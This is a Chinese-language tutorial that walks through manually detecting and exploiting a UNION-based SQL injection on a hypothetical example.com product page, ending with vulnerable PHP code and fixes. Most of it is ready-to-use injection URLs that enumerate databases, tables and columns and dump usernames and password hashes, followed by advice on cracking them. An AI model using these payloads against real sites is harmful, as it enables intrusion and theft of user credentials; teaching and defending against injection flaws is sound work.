这是一次详细的、基于真实手动测试思维的SQL注入漏洞测试过程记录。我们将以一个假设的Web应用程序为例,进行逐步探测和利用。
测试目标
假设我们正在测试一个名为 example.com
的电商网站,其有一个查看商品详情的页面,URL 为:
https://example.com/products/details.php?id=1
我们的目标是测试 id
参数是否存在SQL注入漏洞。
第一步:初步探测与行为观察
首先,我们观察正常输入下的页面行为。
正常请求:
https://example.com/products/details.php?id=1
页面正常显示 ID 为 1 的商品信息(例如,商品名 "Product A",价格 "$19.99")。
输入异常值:
请求:
https://example.com/products/details.php?id=1'
观察: 页面可能返回一个数据库错误(例如,MySQL错误:
You have an error in your SQL syntax...
),或者页面变得异常(空白、部分内容缺失)。这是一个强烈信号,表明我们的输入被直接拼接到了SQL查询中。请求:
https://example.com/products/details.php?id=1-0
观察: 如果页面仍然显示 ID 为 1 的商品,说明
1-0
被数据库计算为了1
,这同样暗示着动态SQL的执行。
输入逻辑测试值:
请求(永真条件):
https://example.com/products/details.php?id=1' OR '1'='1
观察: 如果页面没有返回错误,而是显示了多个商品的信息,甚至是数据库中的所有商品,这几乎可以确认漏洞存在。因为拼接后的SQL变成了
SELECT ... FROM products WHERE id = '1' OR '1'='1'
,WHERE
条件永远为真。请求(永假条件):
https://example.com/products/details.php?id=1' AND '1'='2
观察: 如果页面没有显示任何商品信息(空白或“未找到”提示),这同样是一个有力的证据。因为SQL变成了
... WHERE id = '1' AND '1'='2'
,条件永远为假。
结论: 基于以上观察(特别是单引号引发的错误和永真条件返回多个结果),我们基本确定 id
参数存在基于字符串的SQL注入漏洞。
第二步:确定字段数(使用 ORDER BY
)
为了进一步利用(如联合查询),我们需要知道原始查询返回的列数。
逐步递增测试:
https://example.com/products/details.php?id=1' ORDER BY 1-- -
https://example.com/products/details.php?id=1' ORDER BY 2-- -
https://example.com/products/details.php?id=1' ORDER BY 3-- -
https://example.com/products/details.php?id=1' ORDER BY 4-- -
观察:
当测试到
ORDER BY 3
时,页面正常显示。当测试到
ORDER BY 4
时,页面返回错误(例如:Unknown column '4' in 'order clause'
)。
结论: 原始查询返回了 3 个字段。
-- -
是注释符,用于注释掉原查询中可能存在的后续SQL代码(如LIMIT 1
),-
后面的空格有时是必须的,以确保注释生效。
第三步:确定回显点(使用 UNION SELECT
)
联合查询 (UNION
) 要求前后两个查询的列数一致。我们现在知道是3列,接下来要找出在网页的哪个位置会回显我们查询的数据。
构造联合查询:
https://example.com/products/details.php?id=-1' UNION SELECT 1, 2, 3-- -
关键点: 将原查询的
id
设置为一个不存在的值(如-1
),这样原查询不会返回任何结果,页面显示的内容将完全来自于我们的UNION SELECT
查询结果。
观察:
页面正常显示,但原本显示商品标题、描述、价格的地方,现在可能显示数字1
,2
,3
。例如,页面标题处显示了
2
,描述处显示了3
。这意味着第二个和第三个字段的位置是回显点,我们可以将想要查询的数据放在这两个位置。
第四步:提取数据库信息
现在我们可以利用回显点来提取敏感的数据库信息。
获取数据库名、用户名、版本:
https://example.com/products/details.php?id=-1' UNION SELECT 1, database(), version()-- -
观察: 在回显点(原本显示
2
和3
的地方)分别显示了当前数据库名(如shop_db
)和数据库版本(如8.0.31-0ubuntu0.20.04.1
)。
获取所有数据库名:
https://example.com/products/details.php?id=-1' UNION SELECT 1, schema_name, 3 FROM information_schema.schemata-- -
观察: 页面会列出所有数据库的名称(如
information_schema
,mysql
,performance_schema
,shop_db
)。
获取当前数据库的所有表名:
https://example.com/products/details.php?id=-1' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database()-- -
观察: 页面会列出
shop_db
数据库中的所有表(如products
,users
,orders
)。我们对users
表特别感兴趣。
获取
users
表的所有列名:https://example.com/products/details.php?id=-1' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_schema=database() AND table_name='users'-- -
观察: 页面会列出
users
表的所有列(如id
,username
,password
,email
)。
第五步:提取最终敏感数据
现在我们已经知道了数据库、表、列的结构,可以提取最核心的敏感数据了。
提取用户名和密码:
https://example.com/products/details.php?id=-1' UNION SELECT 1, username, password FROM users-- -
观察: 页面会在回显点列出所有用户的用户名和密码哈希值。
例如:
admin
|5f4dcc3b5aa765d61d8327deb882cf99
(MD5 hash of 'password')johndoe
|e10adc3949ba59abbe56e057f20f883e
(MD5 hash of '123456')
(可选) 破解密码哈希:
将这些哈希值复制到在线MD5解密网站或使用hashcat
、john
等工具进行破解,即可获得用户的明文密码。
总结与漏洞代码分析
根本原因:
后端PHP代码(details.php
)可能编写得极不安全,类似于以下形式:
php
// 糟糕的、易受攻击的代码 $id = $_GET['id']; // 直接从用户输入获取数据,未经过滤// 动态拼接SQL查询字符串 $sql = "SELECT id, name, description FROM products WHERE id = '" . $id . "' LIMIT 1";// 执行查询 $result = $conn->query($sql);
修复方案:
使用参数化查询(预编译语句): 这是根本解决方案。
php
// 安全的代码 - 使用预处理语句 $stmt = $conn->prepare("SELECT id, name, description FROM products WHERE id = ? LIMIT 1"); $stmt->bind_param("i", $id); // "i" 表示参数 $id 是整数类型 $id = $_GET['id']; $stmt->execute(); $result = $stmt->get_result();
严格的输入验证: 确保
id
参数确实是整数。php
$id = intval($_GET['id']); // 强制转换为整数,非数字输入会变为0 if ($id <= 0) {// 处理错误,直接退出die('Invalid ID'); }
最小权限原则: 用于连接数据库的账户不应拥有对
information_schema
等系统表的读写权限。
手动测试思维总结:
这个过程体现了手动测试的核心:猜测 -> 探测 -> 观察 -> 调整 -> 利用。测试者需要像攻击者一样思考,根据应用程序的每一次响应来调整下一步的Payload,逐步深入地了解数据库结构并最终获取目标数据。自动化工具(如sqlmap)也是基于类似的逻辑,但手动测试更能锻炼对漏洞原理的深刻理解。